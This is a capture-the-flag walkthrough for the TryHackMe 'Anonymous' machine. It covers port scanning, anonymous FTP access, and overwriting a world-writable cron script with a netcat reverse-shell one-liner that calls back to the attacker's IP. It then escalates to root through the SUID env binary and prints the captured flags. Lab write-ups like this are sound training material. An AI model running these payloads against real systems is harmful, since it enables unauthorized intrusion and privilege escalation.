

Anonymous

```
ping anonymous.thm
```

SCANNING & ENUMERATION

```
rustscan -r 1-65535 -a anonymous.thm -- -A -oN portscan
```

```
PORT      STATE SERVICE      REASON          VERSION
21/tcp    open  ftp          syn-ack ttl 60 vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:10.17.64.140
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 3
|     vsFTPD 3.0.3 - secure, fast, stable
| End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx   2 111      113      4096 Jun 04 2020 scripts [NSE: writeable]
22/tcp    open  ssh          syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLv3bb/zvpvDvXwWKnM6nZuzL2HA1veSqa90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBmIO5g/TTtRRt
pSW3E5rKd8qj3oAj6S8TWgE9cBNjBMRtVu1+sKjUy/7ymikcPGAjRSaFDroF9fmGDQtd61oU5waKqurhZpre70UfOkZGwt6954rbwXthTeEjf+4J5+gIPDLcKzV07BxkuJgTqk4lE9ZU/5INBXGpgI5r4mZKnEPJKS
jnhD
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|   ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPjHnAlR7sBuoSM2X5sATLlIsFrcUNpTS87qXzhMD99aGGzy0lnWmjHGNmm34cWSz0ohxhok2fv9NhwIQ5A/ng=
|   256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|   ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJil1covB44FA632BSQ7sUqap
139/tcp   open  netbios-ssn syn-ack ttl 60 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  smb          syn-ack ttl 60 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
```

4 ports are open as **21, 22, 139, 445**

Now late check on the **ftp**

```
ftp anonymous.thm
```

Credentials is **anonymous:anonymous**

One directory as **scripts** -> cd scripts

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||37060|)
150 Here comes the directory listing.
-rwxr-xrwx   1 1000      1000      314 Jun 04 2020 clean.sh
-rw-rw-r--   1 1000      1000     1032 Aug 25 05:29 removed_files.log
-rw-r--r--   1 1000      1000      68 May 12 2020 to_do.txt
226 Directory send OK.
```

Download all thress on local machine using **get** command

```
get clean.sh
get removed_files.log
get to_do.txt
```

```
ftp> get clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||33091|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |*****| 314 1.48 MiB/s
226 Transfer complete.
314 bytes received in 00:00 (2.36 KiB/s)
ftp> get removed_files.log
local: removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (|||56873|)
150 Opening BINARY mode data connection for removed_files.log (1032 bytes).
100% |*****| 1032 7.74 MiB/s
226 Transfer complete.
1032 bytes received in 00:00 (6.50 KiB/s)
ftp> get to_do.txt
local: to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (|||20849|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |*****| 68 1.00 KiB/s
```

```
(root@Hindutva)-[~/Desktop/ctf/anonymous]
# cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
```

clean.sh is a bash script that can run and check for if files exist in /tmp folder or not and write down logs in **removed_files.log**

Check for smb port 139 and 445

```
smbclient -L \\\\.anonymous.thm
```

Hit enter for password prompt

```

Password for [WORKGROUP\root]:

  Sharename      Type            Comment
  -----
  print$         Disk           Printer Drivers
  pics           Disk           My SMB Share Directory for Pics
  IPC$           IPC            IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

  Server          Comment
  -----
  Workgroup       Master
  WORKGROUP      ANONYMOUS

```

One share as **pics**

```
smbclient \\\\.anonymous.thm\pics
```

```

# smbclient \\\\.anon.thm\pics
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls

.                D            0   Sun May 17 16:41:34 2020
..               D            0   Thu May 14 07:29:10 2020
corgo2.jpg       N          42663  Tue May 12 06:13:42 2020
puppos.jpeg      N         265188  Tue May 12 06:13:42 2020

```

Nothing interesting here

Back to the ftp

Now we know that clean.sh file is running and we have read and execute permission on this

```

ftp> ls -a
229 Entering Extended Passive Mode (|||18088|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 .
drwxr-xr-x    3 65534    65534         4096 May 13  2020 ..
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1376 Aug 25 05:37 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.

```

GETTING FIRST SHELL

On local machine (attacker) create a reverse shell

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"
> clean.sh
```

put this file into the ftp session using **put** command

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||8185|)
150 Ok to send data.
100% |*****|
226 Transfer complete.
88
```

Start the netcat listener

```
(root@Hindutva)~[~/Desktop/ctf/anonymous]
# rlrwrap -f . -r nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.17.64.140] from (UNKNOWN) [10.10.58.190] 46550
sh: 0: can't access tty; job control turned off
$ id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$ whoami
namelessone
$ ls
pics
user.txt
$ cat user.txt
90d6f992585815ff991e68748c414740
```

Got the shell as **namelessone**

PRIVILEGE ESCALATION

```
find / -perm -4000 -type f 2>/dev/null
```

```
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
```

Go to the <https://gtfobins.github.io/#> and search for **env** click on suid

| SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .
```

```
./env /bin/sh -p
```

```
/usr/bin/env /bin/sh -p
```

```
# id
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(c
drom),27(sudo),30(dip),46(plugdev),108(lxd)
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
4d930091c31a622a7ed10f27999af363
#
```

Now we are **root** user